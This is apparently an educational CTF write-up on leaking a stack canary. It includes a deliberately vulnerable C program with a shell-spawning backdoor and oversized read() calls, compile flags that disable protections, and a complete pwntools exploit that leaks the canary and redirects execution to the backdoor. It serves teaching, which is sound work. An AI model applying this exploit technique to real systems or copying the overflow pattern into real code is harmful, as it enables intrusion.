Simple Buffer Overflow - 0x05(Leak Canary)
tags: CTF PWN eductf
Canary Background

Original Code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char name[0x10];
char phone[0x10];
printf("What's your name: ");
read(0, name, 0x100);
printf("Hello, %s !", name);
printf("What's your phone number: ");
read(0, phone, 0x100);
return 0;
}
- Note that, if you establish the code yourself, you must turn off the protection by the command below and use
checksecto observe the protectiongcc -o bof2_leak_canary bof2_leak_canary.c -zexecstack -no-pie -z norelro
Exploit
- First, we can use
objdump -d -M Intel {filename}to check the address of backdoor →0x4011b6
- However, we observe the backdoor function, it just call
systeminstead ofexecsv. So, that you may encounter some error because of non-alignment. The solution is skip thepush %rbpinstruction and just jump to `0x4011bb`- The detailed description can refer to lecture video
- Then we can construct a part of the payload below:
from pwn import * context.arch = 'amd64' r = process('./bof2_leak_canary') raw_input() no_push_rbp_backdoor_addr = 0x4011bb - Then we have to overlap
namevariable andphonevariable with length0x20. In addition, the compiler will align 8 bytes, we should overlap it as well. Moreover, the last byte ofcanaryis always0x00, then if we’d like to print outcanaryvalue, we should overlap it as well.(In pwntools,recvuntilfunction default consider0x00is a new line)r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte r.recvuntil('a'*0x29) canary = u64(b'\x00' + r.recv(7)) print("canary: ", hex(canary)) - Final step, we do what we done before to overlap padding +
phonevariable(0x18)+ original canary(0x08)+ original$rbp(0x08)+ overlap$ripto backdoor.r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr)) - The whole payload is shown as below:
from pwn import * context.arch = 'amd64' r = process('./bof2_leak_canary') raw_input() no_push_rbp_backdoor_addr = 0x4011bb r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte r.recvuntil('a'*0x29) canary = u64(b'\x00' + r.recv(7)) print("canary: ", hex(canary)) r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr)) - Then we got shell
Analysis
- About how to print canary:
Use
gdband execute to the firstprint, you can see that the stack structure.
And we can print canary value from payload program → `0xdf38469d4e106500`
- Note that we can get
tlsaddress and+0x28to compare with canary value
- Note that we can get